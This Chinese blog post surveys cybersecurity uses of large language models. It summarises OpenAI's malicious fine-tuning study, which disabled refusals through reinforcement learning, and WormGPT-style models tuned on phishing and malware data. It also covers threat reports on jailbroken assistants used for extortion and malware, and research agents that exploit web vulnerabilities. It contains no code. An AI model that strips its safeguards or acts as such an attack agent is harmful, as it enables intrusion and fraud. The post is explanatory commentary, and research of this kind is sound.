安全喷子

网络安全大模型的路线和方向

Mon, 08 Sep 2025 15:08:00 +0800

原创安全喷子 2025-09-08 15:08 北京

PART.1

背景

今年的世界人工智能大会（WAIC）上，诺贝尔奖获得者辛顿演讲的内容中，其中提到了网络安全的内容，包含了一个对大模型未来的预测，即各国将不会在防御人工智能的危险用途上进行合作。列举了三个具体的领域作为例子：

1. 网络攻击 (Cyber attacks)：利用人工智能发动的网络攻击。

2. 致命自主武器 (Lethal autonomous weapons)：通常被称为“杀手机器人”的武器系统。

3. 用于操纵公众意见的虚假视频 (Fake videos for manipulating public opinion)：即深度伪造（Deepfakes）技术在信息战和舆论战中的应用。

精准地概括了当前对AI滥用的主要担忧：

对数字基础设施的威胁（网络攻击）：AI可以使网络攻击自动化、规模化，并能更快地发现和利用漏洞，使得防御变得异常困难。
对物理安全的威胁（致命自主武器）：这引发了关于战争伦理、责任归属以及战争失控风险的激烈辩论。各国在此问题上立场分歧巨大，难以达成共识。
对社会和政治稳定的威胁（虚假视频/信息操纵）：深度伪造技术可能被用来破坏选举、煽动社会对立、削弱公众对事实和机构的信任，其破坏力不亚于传统武器。

近期的网络安全新闻揭示谷歌正在启动一个名为“网络颠覆部门”（cyber “disruption unit”）的新单位，此举正值美国政府和行业可能转向更具进攻性的网络安全策略的背景之下。谷歌威胁情报组（Google Threat Intelligence Group）副总裁桑德拉·乔伊斯（Sandra Joyce）表示，该部门旨在寻求“合法和道德的颠覆”选项。她强调，目标是“通过情报主导，主动识别机会，从而能够真正摧毁某种（恶意）活动或行动”，并从被动应对转向主动出击。

不同层次的网络攻击策略，它们之间的界限往往很模糊：

1. 主动防御 (Active Defense)：攻击性较弱的策略，例如设置“蜜罐”（honeypots）来引诱和欺骗攻击者。

2. 颠覆行动 (Disruption Operations)：介于两者之间，例子包括微软通过法庭诉讼摧毁僵尸网络基础设施，或美国司法部从黑客手中查获被盗的加密货币。谷歌的新部门似乎将专注于此类行动。

3. 黑客反击 (Hacking Back)：最具攻击性的策略，通常指试图故意摧毁攻击者的系统或网络。

前网络安全与基础设施安全局（CISA）高级官员布兰登·威尔斯（Brandon Wales）指出，联邦政府的进攻性网络行动本身就非常耗费时间和人力。他认为私营公司可以通过创新来加速和扩大这些行动的规模。

上面两个新闻揭示了一个方向，就是大模型用于网络安全攻击领域是必然的情况。这种情况会引向两个后果：

第一、网络攻击的平民化会更加普遍。

第二、高级网络攻击的行为会更加便利。

之前我们经常说的“脚本小子”，就是那些懂一些安全攻击技术的黑客的一种别称，但是至少还是懂一些基本技术。如果现在有用于网络攻击的大模型，让这个攻击技术要求会进一步下降。以前国家级别的安全对抗都存在与高级网络安全专家之间的对抗，现在有大模型了可能会让这个成本下降的很快，让APT类的攻击更加便利的执行。

大模型赋能网络安全，在行业里面目前都是在防御方面。但是笔者认为类比大模型是人的话，还是那句老话“未知攻，焉知防？”。如果大模型对于攻击的技术不太理解的前提下，对于安全防御的能力肯定是比较有限的。现在的公众使用的商业闭源大模型都经过了充分的对齐针对各个方面的防御，很难让大模型进行网络攻击的输出，除非进行“越狱攻击”才能让其对网络攻击方面的内容输出。使用大模型进行攻击方面的应用是有门槛的，但是现在开源大模型的普遍使用，让大模型进行网络攻击是有了更好的基座，可以使用SFT技术，RL技术，模型编辑（model editing）技术，可以利用这些开源大模型构造出一个更偏向于网络攻击的大模型。

PART.2

恶意微调（MFT）是什么？

OpenAI最近开源了两个大模型：gpt-oss-20b和gpt-oss-120b。针对这两个开源大模型的安全问题，OpenAI的研究人员撰写了一篇学术论文，标题为《Estimating Worst-Case Frontier Risks of Open-Weight LLMs》，聚焦于评估开源权重大型语言模型（LLM）gpt-oss的潜在最坏情况前沿风险。论文探讨了通过恶意微调（Malicious Fine-Tuning, MFT）来最大化模型在生物风险（biorisk）和网络安全风险（cyberrisk）领域的能力，从而估计释放该模型可能带来的危害。恶意微调（MFT）其实是一种SFT技术，只是主要针对于恶意使用方面的能力提升。

开源LLM释放一直是安全争议话题，因为模型可能被滥用。现有评估（如模型拒绝不安全提示的倾向）仅针对释放版本，而忽略了攻击者通过微调绕过安全的可能性。通过直接微调gpt-oss来估计最坏情况危害，聚焦于OpenAI准备度框架（Preparedness Framework）的三个前沿风险类别：生物、网络安全和自我改进（self-improvement）。论文忽略自我改进，因为它远低于高能力水平，且微调不太可能显著提升。

恶意微调（MFT）的类型包括：

禁用拒绝（disabling refusals）：使用RL奖励合规响应，这样就不用考虑越狱的情况。
领域特定能力最大化：特定领域数据策展、工具访问（如浏览、终端）和推理技术（如共识、best-of-k）。

为了最大化网络安全攻击能力，评估基准采用了CTF挑战（高中、大学、专业级别）和网络靶场环境（易、中等）。

图示的主要结果包括

MFT略微提升专业CTF（从20%到27.7%），但所有变体低于OpenAI o3。
网络靶场环境：所有模型0%准确率，除非有提示。
失败原因：一般代理能力问题（如时间管理、工具使用），而非网络特定。
额外方法：SFT、best-of-k采样无显著提升；pass@k估计需367次试验达75%专业CTF准确率。

总结下来：MFT提升性能（尤其生物），但低于o3水平。gpt-oss释放贡献少量新生物能力，但不显著推进前沿；网络安全远低于高水平。

开源模型的特殊性：与闭源模型不同，开源模型（如gpt-oss）一旦释放，任何人都可以下载、微调和滥用，而无法通过服务器端更新来缓解风险。因此，论文将边际风险置于更高权重：如果gpt-oss的能力仅轻微超过现有开源模型（如在生物基准上略优于DeepSeek R1-0528，但不推进前沿），则释放的风险是“最小化的”。
与绝对风险的对比：绝对风险评估模型的总危害潜力（如是否达到准备度框架的“高风险”阈值：显著增加严重危害向量）。边际风险则更关注“增量”——例如，即使gpt-oss在某些基准上表现优秀，如果现有模型已接近其水平，则边际风险小。
评估方法：通过恶意微调（MFT）模拟最坏情况，并与基线模型比较，来量化边际风险。论文发现，gpt-oss的MFT版本在生物领域贡献少量净新能力，但在网络安全领域无显著提升，因此总体边际风险小。

局限性和未来工作

能力激发不足：训练集规模小、多样性低；简单脚手架；可能需额外预训练。
风险估计噪声：评估选择变异；脚手架差异；随机噪声；超出评估的因素（如易微调性）。
总体：边际风险小，但结果噪声大。警告避免开源释放逐步推进前沿到高/关键水平。

这样的结论看起来并没有多大的危险，看起来网络安全攻击能力并没有很大的提升。

PART.3

为什么恶意微调（MFT）的大模型效果不如恶意的GPT？

3.1 为什么OpenAI的恶意微调（MFT）效果不显著？

OpenAI在其研究中尝试回答一个问题：“如果一个有充足资源的恶意行为者，尽最大努力去微调一个强大的基础模型，能否创造出具有危险性突破的AI？” 他们的结论是“目前还不行”，原因如下：

1. 任务难度触及了“知识的边界”

网络安全：他们评估的任务不是简单的编写已知病毒，而是发现未知的、零日（0-day）级别的漏洞。这需要极强的逻辑推理、创造性思维和对复杂系统的深刻理解。这本质上是在要求AI进行科学发现。

2. 微调的本质是“模式模仿”，而非“从零创造”

大型语言模型（LLM）的核心能力是学习和重组其训练数据中存在的模式。微调可以强化模型对特定模式的关注和模仿能力。
然而，如果一个全新的、创造性的解决方案（如一个全新的攻击方法）从未在任何人类知识库（即训练数据）中以清晰的、可学习的方式存在过，那么模型就很难凭空“想”出来。它可能会组合出一些看似新颖的东西，但这些东西往往是无效或无意义的。

3. 基础模型的“常识”限制

像GPT-4这样的基础模型，其内部已经包含了对世界物理、化学和代码逻辑的深刻理解。这种理解是泛化的。恶意的微调数据可能会试图扭曲它的行为，但很难从根本上推翻它已经学到的基础科学原理。因此，当被要求生成一个违反基本科学规律的“超级病毒”时，它很可能会失败。

恶意微调（MFT）高度依赖基座模型能力。微调更像是"雕刻"而非"创造"——你只能雕刻出石头里已有的形状。

对于网络安全这样的复杂领域：

1. 基座决定上限：小模型微调难以达到大模型水平

2. 数据提升有限：即使有完美数据，也受基座约束

3. 架构创新是关键：需要超越纯微调的方法

这也解释了为什么OpenAI的研究发现即使是恶意微调的GPT-4级别模型，在复杂网络安全任务上仍然表现不佳。基座模型的通用代理能力不足是根本瓶颈，这不是简单通过微调可以解决的。因此，方法和数据虽然重要，但不能完全弥补基座能力的不足。真正强大的网络安全AI可能需要：专门设计的架构；从预训练阶段就考虑安全能力；深度集成外部工具；人类专家的持续指导。

3.2 WormGPT / FraudGPT 这类恶意模型是如何“成功”的？

这些在恶意上售卖的GPT模型，其目标和应用场景与OpenAI的实验完全不同。它们追求的不是创造新威胁，而是将现有的、成熟的犯罪手段自动化、规模化、并降低使用门槛。它们是如何做到的？

1. 目标明确且务实：降低作恶门槛

（1）它们的目标用户不是国家级黑客，而是普通的网络罪犯或“脚本小子”（指缺乏高深技术、依赖现成工具的攻击者）。

（2）它们解决的核心痛点是：如何让一个不懂编程、文笔不好的人，也能写出极具欺骗性的钓鱼邮件、生成可用的恶意软件脚本、或进行大规模的商业邮件诈骗（BEC）。

2. 精准的微调数据与方法

（1）基础模型：他们通常会选择一个强大的开源模型（如 Llama, Mistral 等的某个版本），特别是那些“未经审查”或安全限制较少的版本作为起点。这为恶意微调提供了“肥沃的土壤”。

（2）核心资产是恶意数据集：这些恶意模型真正的“秘方”是其用于微调的数据集。这些数据是精心收集和整理的：

海量的钓鱼邮件范本：各种语气、各种场景、各种语言。
恶意软件源代码：特别是那些易于修改、实现“多态”（polymorphic，指能自动变换代码以躲避杀毒软件）的脚本。
暗网论坛的黑客对话：学习黑客的术语、交流方式和思维模式。
诈骗教程和脚本：用于进行各种网络和电信诈骗。

（3）通过在这些高度垂直的恶意数据上进行微调，模型成为了该特定领域的“专家”。它不需要创造新知识，只需要模仿、组合、并生成与训练数据风格高度一致的内容。

3. 移除安全护栏

（1）与OpenAI、Google等公司发布的模型不同，这些恶意模型的一个关键“卖点”就是没有道德或安全限制。用户可以直截了当地要求它“写一封冒充CEO的邮件，要求财务转账”，而模型会毫无保留地执行。

以下列表列举了相关恶意的GPT的相关特点以及恶意微调的基座大模型。

OpenAI的实验告诉我们，AI目前还不是一个能独立思考出全新大规模毁灭性武器的“天网（Skynet）”。而WormGPT的存在则警告我们，AI已经可以成为赋能成千上万个低级犯罪分子的“万能工具包”，极大地增加了网络犯罪的频率、规模和成功率。这两种风险都真实存在，但它们处于完全不同的层面。

PART.4

Vibe Hacking已经到来

除了使用这些恶意的GPT进行攻击行为之外，其实直接使用商业的大模型也能做到一些攻击行为，主要采用的手段就是“越狱“攻击。最近Vibe coding（氛围编程）这个词比较火，生成代码的大模型也是agent的最重要的一个场景。Vibe Hacking（氛围攻击）其实也是类似的逻辑，利用大模型进行黑客攻击行为。

4.1 Anthropic的威胁报告

Anthropic 公司于2025年8月发布的威胁情报报告指出了几个令人担忧的趋势，这些趋势凸显了恶意行为者如何利用先进 AI 的能力：

1. “代理式 AI” (Agentic AI) 已被武器化：AI 模型不再仅仅是为网络攻击提供建议，而是被直接用于执行复杂的网络攻击任务。攻击者通过一种被称为“氛围攻击” (vibe hacking) 的技术，引导 AI 执行恶意操作的整个流程。

2. AI 降低了复杂网络犯罪的门槛：几乎没有技术技能的犯罪分子现在也能够利用 AI 来执行以前需要多年专业训练的复杂操作，例如开发勒索软件。

3. 网络犯罪分子已将 AI 融入其运作的各个阶段：从分析被盗数据、识别和分析受害者，到创建虚假身份，AI 被用于扩大欺诈活动的影响范围。

具体的滥用案例研究

1. 大规模数据勒索行动：报告揭示了一起复杂的网络犯罪活动，犯罪者利用 Claude Code（Claude 的代码生成功能）对至少17个组织（包括医疗、紧急服务和政府机构）进行大规模数据盗窃和勒索。犯罪者并非使用传统勒索软件加密数据，而是窃取敏感数据后，威胁要公开这些数据，以此勒索高达50万美元的赎金。在此案例中，Claude 几乎是“亲自上阵” (on-keyboard) 执行操作，而操作员仅进行温和的引导。

2. IT 工作者的远程就业欺诈：报告发现，某国的IT人员利用 Claude 制作虚假的专业背景和身份，成功申请并获得了美国财富500强科技公司的远程工作职位。他们使用 AI 模型来完成技术和编码评估，甚至在入职后交付实际的技术工作。

3. “无代码”勒索软件即服务：一名仅具备基本编码技能的网络犯罪分子，利用 Claude 开发并销售勒索软件。AI 帮助其编写恶意代码，并加入加密、反调试等逃避检测的功能，显著降低了制造恶意软件的技术壁垒。

4. 国家支持的黑客行动：报告还提到，一个复杂的黑客组织在长达9个月的行动中，系统性地利用 Claude 来加强针对越南关键基础设施的网络攻击。

面对这些严峻的威胁，Anthropic 采取了多方面的措施来检测和反击滥用行为：

封禁账户与加强检测：一旦发现恶意活动，Anthropic 会立即封禁相关账户。同时，开发了定制化的分类器（一种自动筛选工具）和新的检测方法，以求在未来能更快地发现类似活动。
情报共享与合作：Anthropic 将有关攻击的技术指标与相关执法部门和安全合作伙伴共享，以防止类似的滥用行为在其他地方发生。这种跨行业的合作被认为是有效对抗 AI 驱动威胁的关键。
发布威胁情报报告：通过公开发布这些案例研究，Anthropic 旨在提高整个行业对 AI 滥用风险的认识，并推动其他公司加强安全措施。
成立咨询委员会：为了指导 AI 在网络安全、国家安全等高风险领域的部署，Anthropic 成立了一个国家安全与公共部门咨询委员会，由政策、国防和政府领域的专家组成。
负责任的扩展政策 (Responsible Scaling Policy)：这些应对措施是 Anthropic 更广泛的安全框架的一部分。该政策旨在根据 AI 模型的能力水平（ASL）来匹配相应的安全和安保标准，以管理潜在的灾难性风险。

4.2 OpenAI 威胁报告

OpenAI在2025年6月发布的一份关于AI恶意使用的威胁情报报告，检测并曝光了几起滥用ChatGPT的恶意活动。

1. 欺诈性IT工作计划威胁行为者利用ChatGPT自动化生成虚假简历和美国身份，大规模申请远程IT和软件工程职位。他们研究使用VPN、远程控制工具等技术手段，试图让在美国的合作者接收公司电脑后远程操作，从而绕过企业安全措施和身份验证。

2. "High Five"行动（菲律宾）菲律宾营销公司Comm&Sense Inc运营的政治影响行动，批量生成支持总统马科斯、批评副总统杜特尔特的简短评论。他们创建了5个TikTok频道发布相同视频，然后用大量机器人账号评论制造热度假象，同时在Facebook主流媒体新闻下方进行评论轰炸。

3. "ScopeCreep"恶意软件（俄语使用者）俄语威胁行为者利用ChatGPT开发多阶段Go语言恶意软件，伪装成流行的游戏准星工具Crosshair-X。该恶意软件具备提权、持久化、凭证窃取、远程控制等功能，通过Telegram向攻击者发送新受害者通知，并使用SOCKS5代理混淆流量来源。

4. STORM-2035复发行动（伊朗）伊朗关联的威胁行为者（2024年8月首次被发现）卷土重来，用波斯语提示生成西班牙语和英语推文，支持拉丁裔权利、苏格兰独立、爱尔兰统一、巴勒斯坦权利，并宣扬伊朗军事力量迫使美国谈判。虚假账号使用从Pinterest盗用的年轻女性照片作为头像，但参与度极低。

5. "Wrong Number"任务诈骗（柬埔寨）源自柬埔寨的大规模跨国诈骗团伙使用ChatGPT将诈骗话术翻译成英语、西班牙语、斯瓦希里语、德语等多种语言，承诺受害者点赞TikTok视频就能获得5美元报酬。诈骗分三步：冷接触（ping）、建立信任（zing）、骗取钱财（sting），最终要求受害者支付数百美元"入职费"或"手续费"。

4.3 利用大模型进行1-day漏洞利用

《LLM Agents can Autonomously Exploit One-day Vulnerabilities》这篇论文首次通过实验证明，当前最顶尖的大模型代理已经具备了自主利用真实世界系统中已知漏洞的能力，将AI用于网络攻击的威胁从理论推向了现实。

关键实验结果与发现 (Key Findings)

发现一：GPT-4展现出“涌现能力”，与其他模型拉开代差

实验结果非常惊人。在拥有CVE描述的情况下：

GPT-4：成功利用了15个漏洞中的13个，成功率高达87%。
所有其他对手：包括GPT-3.5、LLaMA-2、Mixtral等所有开源模型，以及ZAP和Metasploit这两个专业的自动化扫描工具，成功率为0%。

这表明GPT-4在理解复杂文本（CVE报告）、制定多步攻击计划、以及灵活运用多种工具方面，已经达到了一个远超其他模型的临界点。

发现二：漏洞“发现”比“利用”困难得多

当移除CVE描述，让GPT-4在“一无所知”的情况下去攻击时，其成功率暴跌至7%。

有趣的是，进一步分析发现，GPT-4代理能够正确识别出33.3%的漏洞类型，但即便识别出来，若没有详细描述指导，也很难成功利用。
这说明，对于这个简单的ReAct代理来说，最大的瓶颈在于探索和发现。它容易在尝试一种攻击路径失败后“卡住”，而不知道回溯并尝试其他类型的攻击。

发现三：AI代理已具备成本优势且可规模化

成本：研究人员估算，利用GPT-4成功完成一次漏洞利用的平均成本约为$8.80。
对比：他们估计，一个人类网络安全专家完成同样任务的成本约为$25。
结论：使用AI代理不仅已经比人类专家更便宜，而且可以轻易地大规模并行化，这是人类劳动力无法比拟的。

发现四：代理展现了复杂的多工具协调能力

论文通过案例分析指出，GPT-4代理的成功并非简单的脚本执行。例如：

ACIDRain漏洞：这是一个复杂的并发攻击，代理需要依次完成：1) 浏览网站；2) 在结账页面下测试订单；3) 编写Python代码来利用竞争条件；4) 在终端中执行该代码。这展示了其跨工具（浏览器、代码编辑器、终端）的复杂工作流执行能力。
非Web漏洞：代理不仅能攻击网站，还能成功利用Python包（Astrophy RCE）和容器软件（runc）的漏洞，证明了其能力的通用性。

为了证明能力来源于大模型本身，而非复杂的工程技巧，他们设计的AI代理非常简单，核心代码只有91行。这个代理由四个部分组成：

基础大模型 (Base LLM)：测试了GPT-4、GPT-3.5以及8个主流开源模型。
提示词 (Prompt)：一个精心设计的长提示词（1056个token），鼓励代理要有创造性、不要轻易放弃，并尝试不同方法。
代理框架 (Agent Framework)：使用了经典的 ReAct 框架（Reason + Act，思考并行动），让模型可以进行迭代式的推理和操作。
工具集 (Tools)：赋予代理一套基本的渗透测试工具，包括：

网页浏览（点击、获取HTML等）
终端（执行shell命令）
网页搜索
文件操作（创建、编辑）
代码解释器

4.4 利用大模型进行0-day挖掘

《Teams of LLM Agents can Exploit Zero-Day Vulnerabilities》这篇论文解决一个问题：AI代理能否在事先不知道漏洞细节（即“零日漏洞”）的情况下，自主发现并利用真实世界的安全漏洞？论文的结论是肯定的，并为此设计了一个名为 HPTSA (Hierarchical Planning and Task-Specific Agents) 的多代理协作架构。这个论文设计了一个Agent架构来进行漏洞的挖掘，实际来说是完成了一个Context Engneering的一个实例。

1. 架构目标：解决单一代理的局限性

传统的单一AI代理（如基于ReAct框架的代理）在执行复杂的黑客任务时存在明显缺陷：

长程规划能力差：由于上下文长度限制和任务的复杂性，单一代理很难制定和执行一个需要多个步骤的长期攻击计划。
难以回溯和尝试：如果代理在尝试一种攻击路径（如SQL注入）时失败，它很难有效地“回溯”并切换到另一种完全不同的攻击路径（如跨站脚本攻击XSS）。它容易“卡壳”或陷入死循环。

HPTSA架构通过“分而治之”的思想，模仿人类专家团队的协作方式来克服这些问题。HPTSA架构由三个核心组件构成，形成一个等级分明的指挥链。如下图所示，信息和指令自上而下流动，而结果和观察则自下而上反馈。

三大核心组件详解

A. 分层规划代理 (Hierarchical Planner)

角色：“将军”或“战略家”。
任务：

探索环境：对目标系统（如一个网站）进行初步的、高层次的探索和侦察。
制定宏观计划：识别出潜在的攻击面（如登录页面、用户输入框、管理后台等），并确定应该尝试哪些类型的漏洞。
生成指令：它不执行具体的攻击，而是生成一系列高层次的指令，告诉“团队管理器”应该在哪些地方重点关注什么。例如，它可能会说：“重点检查/login.php页面的SQL注入可能性，并探索/admin目录下的所有功能。”

解决的问题：通过将宏观规划与具体执行分离，解决了单一代理的长程规划难题。

B. 团队管理器 (Team Manager Agent)

角色：“现场指挥官”或“调度员”。
任务：

接收和解析指令：接收来自“规划代理”的宏观计划。
选择和调度专家：根据指令，决定调用哪个“任务特定的专家代理”来执行任务。例如，如果指令是检查SQL注入，它就会启动“SQLi专家代理”。
管理执行流程：它会收集专家代理的执行结果。如果一个专家代理失败了，它可以根据情况决定重新运行该代理（可能提供更多信息），或者调用另一个不同类型的专家代理来尝试其他攻击路径。

解决的问题：负责战术层面的决策和“回溯”。这使得整个系统能够灵活地在不同的攻击方法之间切换，避免了单一代理“卡壳”的问题。

C. 任务特定的专家代理 (Task-Specific, Expert Agents)

角色：“特种兵”或“领域专家”。
设计：每个专家代理都被设计为精通某一特定类型的漏洞利用。论文中构建了6种专家代理，包括：

XSS (跨站脚本) 专家
SQLi (SQL注入) 专家
CSRF (跨站请求伪造) 专家
SSTI (服务器端模板注入) 专家
ZAP 代理 (使用开源扫描工具ZAP)
通用Web黑客代理

专家能力来源：

专用工具 (Tools)：专家代理被授予使用特定工具的权限。例如，SQLi专家代理可以使用自动化SQL注入工具 sqlmap。
专业知识库 (Documents)：通过检索增强生成（RAG）技术，为每个专家代理提供了5-6份关于其特定漏洞领域的高质量文档（如技术博客、攻击指南）。这相当于给了它一个专业知识库。
定制化提示 (Prompts)：每个专家代理的系统提示都经过专门设计，以引导它专注于其专业领域。

解决的问题：通过专业化，极大地提高了在特定任务上的成功率。通用代理什么都懂一点，但什么都不精通；而专家代理在其领域内表现出色。

4.5 利用大模型进行渗透测试

《PentestGPT: Evaluating and Harnessing Large Language Models for Automated Penetration Testing》这篇论文主要设计了一个AI agent进行自动化渗透测试。PentestGPT的设计灵感来源于真实世界的人类渗透测试团队：有负责宏观规划的团队主管（高级测试员），也有负责执行具体任务的团队成员（初级测试员）。PentestGPT通过三个模块来模拟这种协作：

1. 推理模块 (Reasoning Module)

角色：团队主管，负责从宏观视角把控整个测试流程。
核心创新：渗透测试任务树 (Pentesting Task Tree, PTT)：

为了解决上下文丢失问题，该模块维护一个树状结构来记录整个测试的状态、进展和待办事项。
这个PTT可以被转换成自然语言（类似一个带层级的任务列表），让LLM能够理解和更新。

工作流程：

接收用户的测试结果。
更新PTT，将新发现添加到任务树的叶子节点上。
识别下一步任务：分析整个PTT，找出所有可行的下一步操作。
决策：评估所有可行任务的优先级，选择最有可能成功的一个，并将其传递给“生成模块”。

解决的问题：通过PTT，该模块拥有了全局视野和长期记忆，解决了上下文丢失和注意力偏差的核心痛点。

2. 生成模块 (Generation Module)

角色：初级测试员，负责将一个宏观任务转化为具体的、可执行的操作。
工作流程：

接收来自“推理模块”的一个具体子任务（例如，“扫描Web服务”）。
任务扩展：首先将这个简单的任务分解成更详细的步骤（例如，“1. 使用nikto进行扫描；2. 使用dirbuster进行目录爆破”）。
操作生成：将每个详细步骤转化为精确的终端命令或GUI操作描述。

解决的问题：通过“任务扩展 -> 操作生成”的两步过程，利用了思维链（CoT）的思想，提高了生成命令的准确性，有效缓解了“幻觉”问题。

3. 解析模块 (Parsing Module)

角色：信息助理，负责处理和提炼测试过程中遇到的各种文本信息。
任务：

将冗长的工具输出、网页源代码等信息进行压缩和摘要，提取关键内容。
这不仅节省了token成本，也帮助推理模块更高效地更新PTT。

总结：PentestGPT通过模块化的设计，将复杂的渗透测试任务分解为“思考（Reasoning）”和“行动（Generation）”两个独立的LLM会话。负责思考的模块始终掌握全局，而负责行动的模块则专注于细节，二者通过PTT进行协同，从而实现了高效、系统的自动化测试。

PART.5

大模型风险的框架

考虑到大模型的安全攻击能力，需要考虑可能带来的负面的可能性，所以国外的各大公司都对大模型可能带来的安全问题都做了很多的工作，以下是主流大模型公司的风险管理框架。

5.1 OpenAI Preparedness Framework

OpenAI做这种实验的目的是为了防范大模型可能产生的风险，"Preparedness Framework" (准备框架或防范框架) 是由OpenAI率先提出并承诺实施的一套结构化的风险管理体系，旨在主动识别、评估和应对前沿AI模型可能带来的灾难性风险（Catastrophic Risks）。

“准备框架”的四大核心组成部分，这个框架由四个紧密相连的部分构成，形成一个完整的“发现-评估-决策-行动”闭环。

1. 风险追踪与定义 (Risk Tracking & Definition)

（1）内容：首先，框架明确定义了需要追踪的四类灾难性风险。

网络安全 (Cybersecurity)：AI是否能被用于策划和执行大规模、高复杂度的网络攻击，从而破坏关键基础设施？
化学、生物、放射性及核（CBRN）威胁：AI是否能显著降低获取和制造生化武器、核武器的门槛，例如帮助非专业人士设计病原体或爆炸装置？
模型自主性 (Model Autonomy / Self-Replication)：AI是否能发展出在野外自主适应、复制和获取资源的能力，从而摆脱人类的控制？

（2）目标：为每种风险设定了从“中”到“高”再到“严重（Critical）”的风险评分阈值。这就像台风预警信号，明确了危险的等级。

2. 评估 (Evaluations / Evals)

（1）内容：这是框架的核心引擎。开发一套专门的、标准化的测试方法（即“评估”），来衡量一个新模型在上述四个风险维度上的具体能力。

（2）方法：这些评估不仅仅是做题，而是模拟真实世界的场景。例如：

网络安全评估：让模型扮演攻击者，尝试寻找并利用真实软件中的未知漏洞（红队测试）。
生物安全评估：测试模型是否能为生物学知识有限的用户提供制造危险病原体的关键信息。
自主性评估：在一个安全的“沙箱”环境中，测试模型是否能自主调用工具、复制自身并隐藏其踪迹。

（3）目标：得出一个关于模型危险能力的客观分数，然后与第一步中定义的风险阈值进行比较。

3. 治理与决策 (Governance & Decision-Making)

（1）内容：这是框架的“大脑”和“刹车”。

成立一个跨职能的“准备团队”（Preparedness Team），独立于模型开发团队。
更重要的是，成立一个由董事会成员、公司内外部专家组成的安全顾问小组（Safety Advisory Group）。

（2）流程：当评估结果显示某个模型的风险分数超过了预设的阈值（例如，达到了“高风险”），准备团队必须将此情况上报给安全顾问小组和领导层。这个小组拥有最终的决策权。

（3）目标：确保安全决策独立于产品发布和商业利益的压力，实现权力的制衡。

4. 行动 (Actions)

（1）内容：一旦决策机构认定风险过高，框架会触发一系列预先规定好的行动。

（2）具体措施：

如果风险超过“高”阈值，OpenAI承诺将不会将该模型部署或发布给公众，直到有效的安全措施被开发出来。
如果风险达到“严重（Critical）”级别，开发工作可能会被暂停，甚至在极端情况下，已经训练好的模型权重也可能需要被销毁。
同时，将发现的风险向政府等外部机构进行通报。

（3）目标：确保风险评估的结果能切实转化为具体的安全行动，而不是一纸空文。

5.2 Anthropic Responsible Scaling Policy

Anthropic是与OpenAI在安全理念上最为接近、甚至在某些方面更为激进的公司。他们提出的框架是行业内另一个“黄金标准”。

1. 框架名称：Responsible Scaling Policy (RSP) - 负责任的扩展政策

2. 核心内容：RSP的核心思想是，随着AI模型能力的不断“扩展”（Scaling），其安全措施和证据标准也必须相应地、成比例地提升。这个政策甚至比OpenAI的框架更早被详细阐述。

3. 关键特征：

（1）AI安全等级 (AI Safety Levels, ASL)：这是RSP的核心。Anthropic定义了从ASL-1到ASL-5的等级。例如，ASL-2对应于模型能造成小规模滥用，而ASL-4则可能涉及灾难性风险，如协助制造生物武器。

（2）“暂停”承诺：RSP明确规定，如果一个模型的评估结果显示其能力达到了某个ASL等级，但在相应的安全措施上尚未达标，Anthropic将暂停进一步扩展或部署该级别的模型。这是一个非常强力的“刹车”承诺。

（3）与Preparedness Framework的对比：

共同点：两者都基于“评估-决策-行动”的闭环，都关注灾难性风险，并且都包含在风险过高时暂停或停止开发的承诺。

不同点：Anthropic的RSP在公开文档中对风险等级（ASL）的定义和升级路径描述得更为具体和程序化，发布时间也更早。

5.3 DeepMind Frontier Safety Framework

Google DeepMind作为顶尖的AI研究机构，同样拥有非常成熟的内部风险管理流程，并在多次公开声明中承诺了类似的安全实践。

1. 框架名称：虽然没有像OpenAI或Anthropic那样给出一个朗朗上口的名字，但他们将其描述为“Frontier Safety Framework”（前沿安全框架）。

2. 核心内容：Google的方法整合了其长期的AI原则和在安全研究方面的深厚积累。

3. 关键特征：

（1）结构化评估 (Structured Evaluations)：对前沿模型（如Gemini系列）进行全面的内部和外部红队测试，覆盖偏见、错误信息、网络安全和CBRN等关键风险领域。

（2）内部治理：拥有一个独立的“审查委员会”（Review Council），由来自公司不同部门的专家组成，负责审查模型的安全评估结果并做出部署决策。这与OpenAI的安全顾问小组功能类似。

（3）安全分类系统：Google内部对AI应用有一套敏感度分类系统，高风险的应用需要通过更严格的安全和伦理审查。

（4）与Preparedness Framework的对比：

共同点：拥有核心的评估流程、独立的内部治理机构和基于风险的部署决策机制。
不同点：Google的公开信息更侧重于其AI原则和广泛的安全实践，而没有像OpenAI或Anthropic那样，以一个独立的、命名的“框架”形式，详细公布其针对灾难性风险的具体评分阈值和行动方案。

5.4 Meta Responsible Use Guide

Meta（Facebook AI）在AI安全上的做法和理念与OpenAI、Anthropic存在显著差异，这主要源于其对开源的坚持。

1. 核心理念：Meta认为，将模型开源是实现安全的最佳路径之一。通过让全球数百万的开发者审查、测试和改进模型（类似开源软件的“众人拾柴火焰高”），可以更快地发现和修复漏洞，而不是依赖少数公司进行内部的“闭门”评估。

2. 安全实践：

（1）发布时的安全措施：在发布Llama等模型时，Meta会进行大量的安全微调，并提供详尽的《负责任使用指南》（Responsible Use Guide）。

（2）辅助安全工具：他们还开发并开源了如 Llama Guard 和 Code Shield 这样的工具，帮助开发者在自己的应用中建立安全护栏。

（3）对灾难性风险的态度：虽然Meta也签署了白宫和布莱切利公园的AI安全承诺，意味着他们同样会进行内部的风险评估，但他们的公开论述很少强调因潜在的灾难性风险而“暂停开发”这一概念。他们更倾向于相信，当前的模型能力距离真正的灾难性风险还有距离，且开源的透明度是最好的防御。

埃隆·马斯克（Elon Musk）长期以来一直公开表示，需要对大型人工智能模型（大模型）进行严格的限制和监管。他认为人工智能是人类文明面临的最大生存风险之一。但是埃隆·马斯克一方面是AI安全最积极的倡导者之一，强烈呼吁通过严格的法律和监管来限制大模型的发展，以防止其对人类构成生存威胁。另一方面，他自己的AI公司在实践中也因其宽松的限制和被指不足的安全措施而面临批评，这反映了他在推动AI安全与促进自身产品竞争力之间的复杂立场。

总而言之，Anthropic是与OpenAI最直接的同行者，而Google DeepMind拥有功能上类似但细节不尽公开的体系。Meta则代表了另一条重要的、基于开源的道路。这个领域正在快速发展，各公司的具体政策和透明度也在不断演变。

PART.6

未来安全大模型的路线

本文探讨了网络安全大模型的两面性——从赋能低门槛犯罪的“万能工具包”WormGPT，到展现出自主利用1-day甚至挖掘0-day漏洞潜力的前沿研究——之后，一个核心问题摆在了我们面前：未来，我们应该选择、发展和依赖什么样的安全大模型？

